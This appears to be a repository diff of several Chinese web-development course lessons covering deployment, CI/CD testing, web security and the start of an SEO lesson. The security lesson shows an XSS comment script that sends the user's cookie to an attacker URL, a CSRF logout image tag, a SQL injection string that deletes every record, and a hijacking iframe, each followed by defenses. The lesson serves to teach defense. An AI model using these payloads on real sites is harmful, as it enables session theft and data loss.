好,希望你已经完全理解了这套机制。
## 扩展阅读
- 【基础】如果你对于 Cookie 还不太了解的话,建议你阅读 MDN [HTTP cookies](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies) 这篇简短的教程。
- 对于文中介绍的六种部署策略,欢迎阅读 [Six Strategies for Application Deployment](https://thenewstack.io/deployment-strategies/) 这篇文章,它对于每一种策略都有详细解读,且带有动画图示。如果需要中文译文,你可以看一下[这篇](https://itw01.com/22ULE7O.html)。

View File

@@ -0,0 +1,131 @@
<audio id="audio" title="30 | Ops三部曲之三测试和发布" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/33/86/3361fc2b973b4d4d767d98854e465f86.mp3"></audio>
你好,我是四火。
今天,我们继续 Ops 三部曲。今天我要讲一讲持续集成和持续发布,以及 Web 全栈项目中一些常见的测试维度。
## CI/CD 和 Pipeline
CI 指的是 Continuous Integration持续集成而 CD 指的是 Continuous Delivery持续交付。它们二者结合起来通过将工程师的代码变更反复、多次、快速地集成到代码主线执行多种自动化的测试和验证从而给出快速反馈并最终达到将变更持续、迅速发布到线上的目的。
为了达到持续集成和持续交付,我们几乎一定会使用一个叫做 pipeline 的工具来将流程自动化。Ops 中我们总在谈论的 Pipeline指的就是它。**Pipeline 是一个将代码开发、编译、构建、测试、部署等等 Ops 活动集成起来并自动化的基础设施。**把 Pipeline 放在最先讲,是因为它是集成 Ops 各种自动化工具的核心,而这一系列工具,往往从编译过程就开始,到部署后的验证执行结束。
Pipeline 确定和统一了从开发、测试到部署的主要流程,但最大的作用是对劳动力的解放。程序来控制代码从版本库到线上的行进流程,而非人。因此,如果一个 pipeline 上面设置太多个需要人工审批的暂停点,这样的自动化就会失去一大部分意义。
<img src="https://static001.geekbang.org/resource/image/40/65/40a75789b51db76bf4afdfd6f3a01565.jpg" alt="">
上图来自维基百科的[持续交付](https://zh.wikipedia.org/wiki/%E6%8C%81%E7%BA%8C%E4%BA%A4%E4%BB%98)词条,从中你也可以看到,整个流程中,版本管理是触发构建和测试的核心工具,而**多层次、不同阶段的测试则是保证整个持续集成和持续交付的关键**。接下去,我们就来结合实例理解这一点。
## 不同测试的集成
记得上个月和一位硕士毕业以后做过一年网络工程师的朋友聊天,他正在慢慢转向通用软件工程师的角色。他在学校里修的是计算机相关的专业,因为毕业没有多久,他对于学校里做项目的情况还历历在目。
我问道:“你觉得工业界和学校里做项目有什么不同呢?”他说:“最大的不同在于,学校里更多的是‘实现功能’,而工作以后,更多的是‘实现工程’。”
我觉得这个概括非常贴切,事实上,实现的“功能”,只是“工程”范畴内太小的一部分了(关于这方面,你也许会想起 [[第 28 讲]](https://time.geekbang.org/column/article/165225) 的选修课堂,关于程序员“独立性”的介绍),一个程序员的工程能力,远远不只有实现功能那么简单。而测试,就是从学校迈向职场,以及在职场上成熟精进的角度之一。
在读书的时候,我们可能已经学过测试的 V 模型(下图来自[这篇](http://www.professionalqa.com/v-model)文章):
<img src="https://static001.geekbang.org/resource/image/75/ef/7532ac75f2d65347d7fba6d1912b5fef.jpg" alt="">
这是一个基本的给不同测试分层的方式,当然,还有从其它维度进行的测试分类方法。在有了 pipeline 以后,这些测试可以集成到上面去。每一层测试分别对应到设计阶段的特定环节。在实际项目中,不同维度测试的实现可谓参差不齐。我来挑几个,说说我的理解,并讲讲我所见到的来自 Web 全栈项目中的一些典型问题。
### 1. 单元测试
单元测试Unit Test这一步还属于代码层面的行为活动因此单元测试一定要是开发写的因为单元测试重要的一个因素就是要保证它能够做到白盒覆盖。
单元测试要求易于执行、快速反馈,且必须要做到完全的执行幂等性。对于整个持续集成活动来说,单元测试和其它测试不同,它是和源代码的编译构建放在一起的,也就是说,单元测试执行的失败,往往意味着编译构建的失败,而非一个单独测试过程的失败。据我观察,在 Web 全栈项目中,团队普遍都能够意识到单元测试的重要性,但是存在这样几个典型的问题。
**问题一:执行缓慢,缺乏快速反馈。**
由于需要反复执行和根据结果修改代码,快速的反馈是非常重要的,从几秒内到几十秒内必须得到结果。我见过有一些团队的单元测试跑一遍要十分钟以上,那么这种情况首先要考虑的是,单元测试是不是该优化了?代码包是不是太大,该拆分了?其次才去见招拆招,比如要求能够跑增量的测试,换言之,改动了什么内容,能够重跑改动的那一部分,而不是所有的测试集合,否则就失去了单元测试的意义。
特别说一个例子。有一些项目中,为了模拟一些代码的行为,会使用 sleep() 方法来让某些代码的执行“等一下”,这是一个典型的不良实践,这一类显式地拖慢单元测试执行的方法应当被限制或禁止。我们可以定义 TimeKeeper 之类用来返回“当前时间”的对象,这样在测试的时候,我们就可以替换其逻辑来模拟时间的流逝。
**问题二:无法消除依赖。**
单元测试关注的是方法、函数这些很小的“单元”,因此,为了能够专注在有限的代码层面并保持快速,所有的远程接口、其它组件的调用等等,全部都要用桩方法替换掉。但我依然看到很多项目中单元测试会调用数据库,会加载复杂的配置文件集合等等,我认为这些都是不妥的。我们希望单元测试放在开发机器上能跑,放到构建机器上也能跑,能做到这一点的前提,就是要把这些依赖组件全部拿掉。
**问题三:对达到“单元测试覆盖率”机械而生硬地执行。**
我是坚决反对那些在软件开发中不讲实际情况而制定生硬指标的做法的。单元测试和其它测试一样,书写和维护也都是有成本的,并非覆盖率越高越好,要优先覆盖那些核心逻辑和复杂逻辑的源代码(这个代码无论是在前端还是后端,我们都有很成熟的单元测试框架和技术了),因此我们单纯地讲一个覆盖率是缺乏意义的。
一个单元测试覆盖率 85% 的代码也许会比 15% 的代码好,但是,一个单元测试覆盖率 95% 的代码可未必比 90% 的更好,我反而会担心里面是不是有很多为了单纯达标覆盖率而被迫写的无意义覆盖测试的代码。
### 2. 集成测试
集成测试Integration Test泛指系统组件之间集成起来的功能性测试但在 Web 项目中,经常特指的是针对暴露的 Web 接口进行的端到端的测试。它一般被放在持续集成的 pipeline 中,编译构建阶段结束以后执行。
集成测试的成熟程度往往是一个项目质量的一个非常好的体现。在某些团队中集成测试通过几个不同的环境来完成比如α环境、β环境、γ环境等等依次递进越来越接近生产环境。比如α环境是部署在开发机上的β环境是部署在专门机器上的测试环境γ环境又叫做“pre-prod”环境是线上环境的拷贝连数据库的数据都是从线上定期同步而来的。
**集成测试的过程中,一个很容易出现的问题,就是测试无法具备独立性或幂等性。**集成测试的执行,往往比单个的单元测试执行要复杂得多,有独立性要求测试的执行不会出现冲突,即要么保证某测试环境在任何时间只有单独的测试在执行,要么允许多个测试执行,但它们之间互不影响。幂等性则要求测试如果执行了一半,中止了(这种情况很常见),那么测试执行的残留数据,不会影响到下一次测试的顺利执行。
### 3. 冒烟测试
冒烟测试Smoke Testing在 Web 项目中非常实用。冒烟测试最关心的不是功能的覆盖,而是对重要功能或者核心功能的保障。到了这一步,通常在线上部署完成后,为了进一步确保它是一次成功的部署,需要有快速而易于执行的测试来覆盖核心测试用例。
这就像每年的常规体检你不可能事无巨细地做各种各样侵入性强的检查而是通过快速的几项比如血常规、心跳、血压等等来执行核心的几项检查。在某些公司冒烟测试还被称作“Sanity Test”从字面意思也可以得知测试的目的仅仅是保证系统“没有发疯”。通常不会有测试放到生产线的机器上执行但冒烟测试是一个例外它在新代码部署到线上以后会快速地执行一下然后再进行流量的切换。
除了功能上的快速冒烟覆盖,在某些系统中,性能是一个尤其重要的关注点,那么还会划分出 Soak Testing浸泡测试这样的针对性能的测试来。当然它对系统的影响可能较大有时候不会部署在生产环境而是在前面提到的 pre-prod 的生产环境的镜像环境中。
**冒烟测试最容易出现的问题,是用例简洁程度和核心功能覆盖的不平衡。**冒烟测试要求用例尽可能简单,这样也能保证执行迅速,不拖慢整个部署的过程;但是,另一方面我们也希望核心功能都被覆盖到,许多团队容易犯的错误,就是在产品一开始的时候可以将冒烟测试的用例管理得非常好,但是随着时间进展,冒烟测试变得越来越笨重而庞大,最终失去了平衡。
## 总结思考
今天我们学习了持续集成和持续发布,以及 Web 全栈项目中常见的测试维度,并讲到了各自容易出现的问题,依然希望你可以有效避坑。
下面是提问时间:
- 在你经历的项目中,你们是否实现或部分实现了持续集成和持续发布,能说说吗?
- 除去文中介绍的,你觉得还有哪些测试的维度是 Web 项目特有或经常关注的(比如浏览器兼容性测试)?
好,今天的正文就到这里,欢迎你继续学习下面的选修课堂,同时,也欢迎你在留言区就今天的内容与我讨论。
## 选修课堂:持续集成和持续发布的更多挑战
今天我们介绍的测试技术,还有上一讲介绍的部署技术,只是持续集成和持续发布的其中一部分核心内容,还有更多的挑战需要我们面对,也许对于它们中的不少内容,你已经在工作中接触过。
### 1. 代码静态分析
对于软件工程而言,我们知道问题能够发现得越早,修复问题的代价就越小。比如,对于 Java 来说FindBugs、PMD 可以用于在编译期发现代码中常见的问题CheckStyle 可以提示代码不符合规范的地方,等等。
这些工具确实能带来好处,但是在应用它们的时候,我们需要时刻记住一点:**工具永远是为程序员服务的,而不是反过来**。我强调这一点的原因是,在我的工作中,曾经经历过这样的事情——程序员为了通过这些静态工具的检查,对代码做了许多毫无意义的修改。比如这样的例子:
```
/**
* 返回名字。
* @return 名字
*/
public String getName() { ... }
```
本来是一个特别简单而直接的 get 方法,命名也是符合常见 getter/setter 的规约的。但是,为了通过 CheckStyle 这样的静态工具检查,添加了这样本无必要、读起来也显然毫无意义的注释。你可以想象,代码中有许许多多的 get/set 方法,那这样的注释会有多少。我认为,和文中提到的测试覆盖率的那一条一样,这也是工具起到了反面作用的例子。
### 2. 依赖管理
对于 Java 程序员来说,有个略带戏谑的说法是:“没有痛不欲生地处理过 Jar 包冲突的 Java 程序员不是真正的 Java 程序员。”这在一定程度上说明了依赖管理的重要性。
注意这里说的依赖,即便对于 Java 来说,也不一定是 Jar 包,可以是任何文件夹和文件。尤其是对于茁壮发展的 Java 社区来说,版本多如牛毛,质量良莠不齐,包和类的命名冲突简直是家常便饭。我在项目中用过好几个依赖管理的工具,比如 Python 的 pipJava 的 Ant 和 Maven还有一些公司内部未开源的工具。我认为一个好的依赖管理的工具有这么几点核心特性需要具备
- **一个抽象合理、配置简约的 DSL。**本质上说,依赖管理需要某种领域特定语言的配置方式来达到完整支持的目的,这可以是稍复杂的 XML可以是简单键值对列表也可以是 YAML 格式等等(关于这些格式,我会在下一章“专题”部分做出介绍)。
- **支持将单独的包组织成集合来简化配置。**即若干个关联功能的 Jar 包可以组成一个集合,来简化依赖配置,比如 SpringBoot 几个相关包的集合。当然,这种方式也会带来一些副作用,一个是可能引入了一些原本不需要的 Jar 包;另一个是,如果存在局部版本不匹配,处理起来就会比较麻烦,而且打破了基于集合整体配置的简化优势。
- **支持基于版本的递归依赖。**比如 A 依赖于 BB 依赖于 C那么只需要在 A 的依赖文件中配置 BC 就会被自动引入。B 是 A 的直接依赖,而 C 是 A 的间接依赖。
- **支持版本冲突的选择。**比如 A 依赖于 B 和 CB 依赖于 D 1.0C 依赖于 D 2.0,那么通过配置可以选择在最终引入依赖的时候引入 D 1.0 还是 2.0。
- **支持不同环境的不同依赖配置。**比如编译期的依赖,测试期的依赖和运行期的依赖都可能不一样。
### 3. 环境监控
既然要持续集成和持续发布,自动化可以将人力和重复劳动省下来,但是并不代表把对系统的关注和了解省下来。环境监控,指的是通过一定的工具,来对集成和发布的不同环境做出不同维度的监控,它包括如下特性:
- **多维度、分级别、可视化的数据统计和监控。**核心性能的统计信息既包括应用的统计信息,也包括存储,比如数据库的统计信息,还包括容器(比如 Docker或者是机器本身的统计信息。监控信息的分级在数据量巨大的时候显得至关重要信息量大而缺乏组织就是没有信息。通常有一个核心 KPI 页面,可以快速获知核心组件的健康信息,这个要求在一屏以内,以便可以一眼就看得到,其它信息可以在不同的子页面中展开。
- **基于监控信息的自动化操作。**最常见的例子就是告警。CPU 过高了要告警I/O 过高了要告警失败次数超过阈值要告警。使用监控工具根据这些信息可以很容易地配置合理的告警规则要做一个完备的告警系统规则可以非常复杂。告警和上面说的监控一样也要分级。小问题自动创建低优先级的问题单ticket大问题创建高优先级的问题单紧急问题电话、短信自动联系 oncall。其它操作还包括自动熔断、自动限流、自动扩容和自动降级参见 [[第 17 讲]](https://time.geekbang.org/column/article/151464) 优雅降级)等等。
- **上述模块的规则自定义和重用能力。**在上面说到这些复杂的需求的时候,如果一切都从头开始做无疑是非常耗时费力的。因而和软件代码需要组织和重构一样,告警的配置和规则也是。一般说来,在大厂内部,都有这方面支持比较好的工具,对于缺乏这样强大的自研能力的中小公司来说,业界也有比较成熟的解决方案可以直接购买。
## 扩展阅读
- 文中提到了测试的 V 模型,感兴趣的话欢迎继续阅读这篇 [V Model](http://www.professionalqa.com/v-model),特别是它对其优劣的比较分析。
- 我们在做 Web 项目的时候,在单元测试的层面,去测试多线程代码的正确,是比较困难的,有一些开源库对此做了一些尝试,比如 [thread-weaver](https://code.google.com/archive/p/thread-weaver/),感兴趣的话可以了解。
- 文中提到了 [Maven](https://maven.apache.org/) 这种管理依赖并进行项目构建打包的工具,如果你使用 Java 语言的话,你应该了解一下,如果你需要中文教程来系统学习,那么你可以看看[这篇](https://www.runoob.com/maven/maven-tutorial.html)。

View File

@@ -0,0 +1,193 @@
<audio id="audio" title="31 | 防人之心不可无:网站安全问题窥视" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/f0/6a/f06b5213f9113f2c2c34874fbefd1f6a.mp3"></audio>
你好,我是四火。
今天,我们来学习一些网站安全的基础知识。作为一名 Web 全栈工程师,不可避免地会经常性地面对网站安全的问题,因此有关安全的学习是十分必要的。这一讲我们就来看一些常见的安全问题,并了解它们相应的解决办法,加强安全意识。
## 鉴权和授权
我把这两个概念的比较放在开头,是因为这两个概念有相关性且很常用,还有就是这二者太容易被混用了,但是实际上,它们却又是大不相同的。**鉴权Authentication指的是对于用户身份的鉴别而授权Authorization指的是允许对于特定资源的指定操作。**
我们可以借助具体的例子来深入了解。
先说说鉴权。网站的登录系统,输入正确的用户名和密码以便登陆,这个过程就是一个鉴权参与的过程。输入了正确的用户名和密码,系统就能够确认用户的身份,鉴权也就成功了。再比如我们在 [[第 02 讲]](https://time.geekbang.org/column/article/135864) 中介绍的 HTTPS 通信,其中的密钥也是起到了“鉴别身份”的作用,这个起作用的过程也属于鉴权。
**为了安全考虑在实际应用中鉴权有时不是靠“单因子”Single-Factor就够了的我们还会采用“多因子”Multi-Factor的方式。**
举个例子,银行转账的时候,你光输入账号和转账密码,这是属于单因子,一般是不够的,还必须有其它的因子,比如说 U 盾等等。多个因子之间一般要求是独立的,无依赖关系。再比如说,你通过电话去办理通讯业务的时候,有时候为了证明你的身份,你会被要求提供 PIN 或者密码以外的其他“个人信息”,像是说出最近三次通话的电话号码,这些方式,都是为了增加“鉴权因子”的种类,从而提高安全级别。
再来举个授权的例子。还记得我们在 [[第 04 讲]](https://time.geekbang.org/column/article/136795) 中介绍的“资源”吗?对于不同的资源,不同的用户拥有不同的权限,而授权根据权限配置,确定用户对特定的资源是否能执行特定的行为。比如说,我们提到过的图书馆系统,授权确定用户是否能够查看图书信息,是否能够修改图书信息等等。
<img src="https://static001.geekbang.org/resource/image/90/c2/90f7cb6ebb001eb3fcccaf19091bbec2.png" alt="">
## 常见的 Web 攻击方式
好,我想你已经理解了鉴权和授权的含义与区别。下面我就来介绍几种常见的 Web 安全问题,在这部分的学习过程中,你可以联想一下在你经历过的项目,是否具备相同的安全隐患?
### 1. XSS
XSSCross Site Script跨站脚本攻击。原理是攻击者通过某种方式在网页上嵌入脚本代码这样正当用户在浏览网页或执行操作的时候脚本被执行就会触发攻击者预期的“不正当”行为。
举个例子。在 [[第 29 讲]](https://time.geekbang.org/column/article/166084) 中我介绍了会话的原理,服务端给用户分配了一个标识身份的字符串,整个会话生命周期内有效,保存在浏览器的 Cookie 中(如果你忘记了,请回看)。
现在,攻击者在服务器返回的普通页面中嵌入特殊的脚本代码,那么在普通用户浏览这个网页的时候,这个特殊的脚本代码就得到了执行,于是用户的 Cookie 通过请求的方式发送给了这个攻击者指定的地址,这样攻击者就劫持了用户的会话,利用 Cookie 中标识身份的字符串,就可以伪装成实际的用户,来做各种坏事了。这个过程见下图:
<img src="https://static001.geekbang.org/resource/image/e9/ce/e9a926d5164fb90ac617b723c68529ce.jpg" alt="">
你可能会想了,那在服务器端严格控制,不让用户上传脚本不就得了?
可是,**这个恶意脚本的上传,往往是通过“正常”的页面访问来进行的,因此这个控制方法很容易疏漏。**比如给正常页面的请求添加特殊的参数,或者是提交信息表单的时候,构造一些特殊值。它们是利用网站的漏洞来做文章的,像是缺乏对用户上传的数据进行字符转义,而直接将这样的上传数据显示到页面上。
举个例子:用户可以在电商网站的产品页面提交对产品的评论,并且,这个评论会显示到产品页上。于是攻击者上传了这样一段产品评论:
```
评论内容上半部分
&lt;script&gt;
var script =document.createElement('script');
script.src='http://...?cookie=' + document.cookie;
document.body.appendChild(script);
&lt;/script&gt;
评论内容下半部分
```
如果这个电商网站没有对用户上传的评论做转义或者字符过滤,那么这个评论在展示的时候会显示“评论内容上半部分”和“评论内容下半部分”,中间的 script 标签没有任何显示,但其中的脚本却被偷偷摸摸地执行了。
- 浏览器构造了一个新的 script 节点,并将其 src 属性指向攻击者指定的服务器地址,并将当前页面的 Cookie 放在其参数内。
- 接着,再将这个新的 script 节点添加到 HTML 页面的 body 标签内。
- 于是,浏览器就会向这个 src 的地址发送一个带有当前 Cookie 的请求。
于是攻击者就可以获得用户浏览器内的会话标识串,从而劫持用户的会话了,例如可以仿冒用户的身份购物并寄往指定地址。
知道了原理,我们就可以针对 XSS 的特点来进行防御,比如有这样两个思路:
- 第一个,做好字符转义和过滤,让用户上传的文本在展示的时候永远只是文本,而不可能变成 HTML 和脚本。
- 第二个,控制好 Cookie 的作用范围。比如服务器在返回 Set-Cookie 头的时候,设置 HttpOnly 这个标识,这样浏览器的脚本就无法获得 Cookie 了,而用户却依然可以继续使用 Cookie 和会话。
当然上述内容只是 XSS 原理的一个简单示意,实际的跨站脚本攻击会比这个复杂且隐蔽得多。而且,这个跨站脚本可不只是能偷偷摸摸地把用户的 Cookie 传给攻击者,还能做其它的事情,比如我下面将要介绍的 CSRF。
### 2. CSRF
CSRFCross-Site Request Forgery跨站请求伪造它指的是攻击者让用户进行非其本意的操作。CSRF 和 XSS 的最大区别在于,**在 CSRF 的情况下,用户的“非其本意”的行为全部都是从受害用户的浏览器上发生的,而不是从攻击者的浏览器上挟持用户会话以后发起的。**
在讲 XSS 的时候我讲到了,如果使用 HttpOnly 方式的话,攻击者就无法获得用户的 Cookie因此之前例子所介绍的 XSS 就很难发生。但 CSRF 没有这个限制,它可以在不拿到用户 Cookie 的情况下进行攻击,也就是说,从这个角度上看,它更难以防范。
我们还是接着 XSS 中攻击脚本的例子,如果这段脚本不是将用户的 Cookie 上传,而是直接提交购物下单的 HTTP 请求,并寄往指定地址,那它和 XSS 中的那个例子比较起来看,后果是一样的。因此,从这个角度看,技术变了,从 XSS 变成了 CSRF可危害程度并没有减轻。这个过程见下图
<img src="https://static001.geekbang.org/resource/image/2b/2c/2baca2397b71c9d92c8d294ff9e1882c.jpg" alt="">
值得一提的是,有时候这个请求伪造,不一定要通过 JavaScript 的脚本完成,比如依然是那个电商网站的例子,用户可以发布评论,并且这个评论的录入缺乏字符转义和过滤。现在我们把评论内容改成如下的样子:
```
评论内容 1
&lt;img src=&quot;/logout&quot;&gt;
评论内容 2
```
你看,原本中间的 script 脚本,变成了 img 标签,这个 img 图像的 src 是一个相对路径,这里指向的是登出的 URI。于是每当用户访问这个评论展示的页面浏览器就试图去发送 logout 请求来加载这张假的图片,于是用户就“莫名其妙”地自动登出了。这里攻击者使用了一个 img 标签来发送这个登出的请求,而没有使用任何脚本。
在理解了原理之后,我们就可以制定一些应对策略了。除了和 XSS 一样,做好字符的转义和过滤以外,针对 CSRF我们还可以考虑如下应对策略
- 第一种,使用 HTTP 的 Referer 头,因为 Referer 头可以携带请求的来源页面地址,这样可以根据 Referer 头鉴别出伪造的请求。
- 第二种,使用 token原理上也很简单服务端给每个表单都生成一个随机值这个值叫做 token。Token 和我们前面讲到的用来标识用户身份的 Cookie 所不同的是,前者是对每个页面或每个表单就会生成一个新的值,而后者则是只有会话重新生成的时候才会生成。当用户正常操作的时候,这个 token 会被带上,从而证明用户操作的合法性,而如果是 CSRF 的情形,这个请求来自于一个非预期的位置,那么就不可能带有这个正确的 token。
**值得注意的是CSRF 和 XSS 不是地位均等的,具体说,在防范 CSRF 的情况下,必须首先确保没有 XSS 的问题,否则 CSRF 就会失去意义。**因为一旦用户的会话以 XSS 的方式被劫持,攻击者就可以在他自己的浏览器中假装被劫持用户而进行操作。由于攻击者在他自己的浏览器中遵循着正确的操作流程,因而这种情况下无论是 Referer 头还是 token从服务端的角度来看都是没有问题的也就是说当 XSS 被攻破,所有的 CSRF 的防御就失去了意义。
### 3. SQL 注入
SQL 注入,指的是攻击者利用网站漏洞,通过构造特殊的嵌入了 SQL 命令的网站请求以欺骗服务器,并执行该恶意 SQL 命令。
乍一听也许你会觉得这种方式在技术上可能比较难实现,和前面介绍的在用户的浏览器上做文章比起来,毕竟 SQL 的执行是位于整个 Web 栈中较靠下的持久层,得“突破层层防守”才能抵达吧,可事实并非如此。
SQL 注入原本可是很常见的,这些年由于持久层框架帮 Web 程序员做了很多 SQL 参数注入的事儿,程序员就很少自己去手动拼接 SQL 了SQL 注入的漏洞自然就少得多了,但是一旦出现,和 XSS 或 CSRF 比起来,由于不需要特定的用户访问指定的页面,攻击者可以独立完成入侵的过程,并且效果是可以执行 SQL因而影响往往是巨大的。
比如有这样一条 SQL 的语句拼接:
```
String sql = &quot;DELETE FROM RECORDS WHERE ID = &quot; + id + &quot; AND STATUS = 'done'&quot;
```
其中,这个 id 表示单条记录,且由用户的表单以字符串参数 id 的方式提交上来。这条 SQL 的本意是要删除一条以 id 为主键的记录并且只有其状态在已完成Status 为 done的时候才允许删除。
现在,攻击者在提交的时候精心构造了这样一个字符串参数 id
```
&quot;'123' OR 1 = 1 --&quot;
```
于是,这条 SQL 语句在拼接后就变成了:
```
DELETE FROM RECORDS WHERE ID = '123' OR 1 = 1 -- AND STATUS = 'done'
```
你看,虽然 WHERE 字句包含了对 ID 的判断但是后面有一个恒真的“或”条件“1 = 1”而且后面的 STATUS 判断被注释符号“–”给屏蔽掉了。于是,这条恐怖的删除所有记录的 SQL 就被执行了。
现在你可以想象一下 SQL 注入的影响到底有多么严重了。在本章我已经提到过,程序的问题还好修复或回滚,但是数据造成的损失往往很难修复。
知道了原理,那么我们就可以采取相应的措施来应对了:
- 第一种,对于参数进行转义和过滤,这和我们前面介绍的 XSS 的应对是一样的。如果参数的格式明确,我们应当较为严格地校验参数,比如上面的例子,如果 id 实际是一个数值,那么用户输入非数值就应当报错。
- 第二种SQL 的语句执行尽可能采用参数化查询的接口,而不是单纯地当做字符串来拼接。当然,一般在使用持久化框架的时候,这样的事情框架一般都替程序员考虑到了。
- 第三种,严格的权限控制,这和 Linux 下面权限控制的原则是一样的,保持“最小授权”原则,即尽可能只授予能实现功能的最小权限。
### 4. HTTP 劫持
HTTP 劫持的原理很简单,但是却非常常见。就是说,由于 HTTP 协议是明文通信的,它就可以被任意篡改。而干这事儿干得最多的,不是什么传统意义上的“黑客”,而是那些无良的网络服务提供商和运营商们,他们利用对网络控制之便利,通过这种方式强行给用户塞广告。
我有一个个人的博客网站,有一次有读者跟我说:“你为什么投放垃圾广告?”一开始我还很纳闷,我可从来没有干过这事儿啊,怎么会有广告,后来才知道,其实,这就是因为遭遇了无良运营商的 HTTP 劫持。下面的这个截屏(来自[这篇](http://bigsec.com/bigsec-news/wechat-16824-yunyingshangjiechi)文章),右下角的广告就是通过 HTTP 劫持干的。
<img src="https://static001.geekbang.org/resource/image/68/ad/688d25f375621722af79cb7330427fad.jpg" alt="">
虽然可以任意修改 HTTP 响应报文,但是修改就可能带来对原页面的影响。于是,攻击者为了对用户造成的影响尽量小,而达到“单纯”地投放广告的目的,很可能会使用 iFrame。它利用了 iFrame 和母页面相对独立的特性,比方说:
```
&lt;iframe id=&quot;fulliframe&quot; name=&quot;fulliframe&quot; frameSpacing=0 noResize height=1350 marginHeight=0 border=0 src=&quot;原网页&quot; frameBorder=0 width=&quot;100%&quot; scrolling=no vspale=&quot;0&quot;&gt;&lt;/iframe&gt;
```
你看,原网页被装到了一个 iFrame 里面去,并且这个 iFrame 没有边,大小占据了整个浏览器,因此用户很可能不知情,但是,整个页面实际已经被替换掉了,那么也就可以在这个 iFrame 以外添加浮动广告了。
对于 HTTP 劫持,由于攻击者利用了 HTTP 明文传输的特性,因此解决方案很简单,就是将网站切换为 HTTPS。至于其它的方法相对都比较特例化并不一般和通用只有将传输加密才是最理想的解决方案。
### 5. DNS 劫持
DNS 劫持的原理也很简单(你如果忘记了 DNS 的工作机制,可以回看 [[第 29 讲]](https://time.geekbang.org/column/article/166084)),用户的浏览器在通过 DNS 查询目标域名对应的 IP 地址的时候,会被攻击者引导到一个恶意网站的地址。这个假的网站也可以有相似的页面布局,也可能有“正规”方式申请的 HTTPS 证书,换言之,**HTTPS 加密通信并不能防范 DNS 劫持**,因此用户很可能被欺骗而不察觉。
如果你还不是很理解那让我再来进一步解释。当浏览器敲入域名地址并回车用户在网上冲浪的整个过程一环套一环只要有任何一环存在安全隐患那么其它环节的安全工作做得再好也是没有用的。DNS 假如被劫持了浏览器都去和一个假冒的网站通信了HTTPS 加密做的也只是保证你和这个假冒网站通信的完整性、保密性,那还有何用?**就好比要去药店买药,可去了家假的药店,那么保证整个交易过程的安全性就失去了它原本的意义了。**
对于真正开发维护 Web 网站或应用的程序员来说DNS 劫持相对来说比较难以防范,因为 DNS 解析的步骤,从整个过程来看,请求根本还没有到达实际的应用,确实有些无能为力。
事实上,**安全防范的各个环节就像一个木桶的各个木板,网络公共服务的安全性,经常决定了用户网上冲浪安全性的上限。**2010 年的[百度被黑事件](https://baike.baidu.com/item/%E7%99%BE%E5%BA%A6%E8%A2%AB%E9%BB%91%E4%BA%8B%E4%BB%B6),就是遭遇了 DNS 劫持。由于 DNS 解析的过程比较长,劫持可能发生在网络,也可以发生在本机(别忘了本机有 hosts 文件),还可能发生在某一个子网的路由。对于 DNS 网络明文通信带来的隐患,有一个安全的域名解析方案,叫做 [DNS over HTTPS](https://zh.wikipedia.org/wiki/DNS_over_HTTPS),目前还在实验阶段,仅有部分 DNS 服务支持。
### 6. DDoS 攻击
最后我来简单介绍一下 DDoSDistributed Denial-of-Service分布式拒绝服务这种攻击方式从理论上说最难以防范被称为互联网的“癌症”。
为什么呢?因为它的原理是,攻击者使用若干被“攻陷”的电脑(比如被病毒占领和控制的“肉鸡”),向网络应用和服务同一时间发起请求,通过一瞬间的请求洪峰,将服务冲垮。
**DDoS 攻击的目的不是偷窃用户数据,也不是为了仿冒用户身份,而是“无差别”阻塞网络,引发“拒绝服务”,让正常使用网站和应用的用户难以继续使用,这个“无差别”最要命,简单、粗暴,但却有效。**
因此对于 DDoS 的攻击,我们需要整个网络链路配合,包括路由器、交换机、防火墙等等组件,采取入侵检测和流量过滤等多种方式来联合防范。这部分的内容涉及比较多,我在扩展阅读放了一点材料,感兴趣的话可以阅读。
## 总结思考
今天我们重点学习了常见的几种 Web 攻击方式,希望你从中学到了一些网站安全问题的知识和相应的应对办法,毕竟,安全无小事。
下面来提两个问题吧:
- 手动输入验证码的功能如今已经被广泛使用了,你觉得对于今天介绍的攻击方式,验证码可以用来防范它们中的哪一些?
- 假如你需要设计一个电商的网上支付功能,用于在线购买商品,用户需要填写信用卡信息并提交。对于这个过程,从安全的角度看,你觉得有哪些措施是必须要采取,从而提高支付行为整体的安全性的?
## 扩展阅读
- 文中提到了 HttpOnly 标识,想了解更多细节你可以阅读[这篇文章](https://www.owasp.org/index.php/HttpOnly#What_is_HttpOnly.3F)。
- 文中提到了 HTTP 的 Referer 头,你可以参阅[维基百科](https://zh.wikipedia.org/wiki/HTTP%E5%8F%83%E7%85%A7%E4%BD%8D%E5%9D%80)获得更详细的介绍。
- 文中提到了 SQL 的参数化查询,如果不了解,可以阅读这篇[介绍](https://zh.wikipedia.org/wiki/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2)。
- 关于 DDoS 攻击的分类,可以参阅这个[词条](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A),国内很多个人站点的站长都对它深恶痛绝,比如你可以看看[这篇记录](http://www.ruanyifeng.com/blog/2018/06/ddos.html),还有关于历史上五个最著名的 DDoS 攻击请参阅[这篇文章](https://www.a10networks.com/blog/5-most-famous-ddos-attacks/)。

View File

@@ -0,0 +1,210 @@
<audio id="audio" title="32 | 和搜索引擎的对话SEO的原理和基础" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/0b/c0/0bb3b319ab141c9ec987f2b613b860c0.mp3"></audio>
你好,我是四火。
今天,我们来聊一聊搜索引擎和 SEOSearch Engine Optimization。当网站发布上线以后我们希望通过适当的优化调整让它可以被搜索引擎更好地“理解”在用户使用搜索引擎搜索的时候网站的内容可以更恰当地暴露给用户。
作为程序员,和更擅长于与内容打交道的运营相比,**我们的角度是不一样的,我们更关注工程实现而非网页内容,也更需要从原理的角度去理解 SEO。**这一讲,就让我们从理解互联网搜索引擎的工作原理开始。
## 互联网搜索引擎
要说 SEO我觉得我们需要先来简单了解一下互联网上的搜索引擎。
### 组成部分
对于 Google 和百度这样的巨型 Web 搜索引擎来说,这里面的机制很复杂,而它们之间又有很多区别。比如被搜索的数据是怎样产生的,权重是怎样分配的,用户的输入又是怎样被理解的等等,但是大体上,它总是包含这样三部分。
**1. 爬取Crawling**
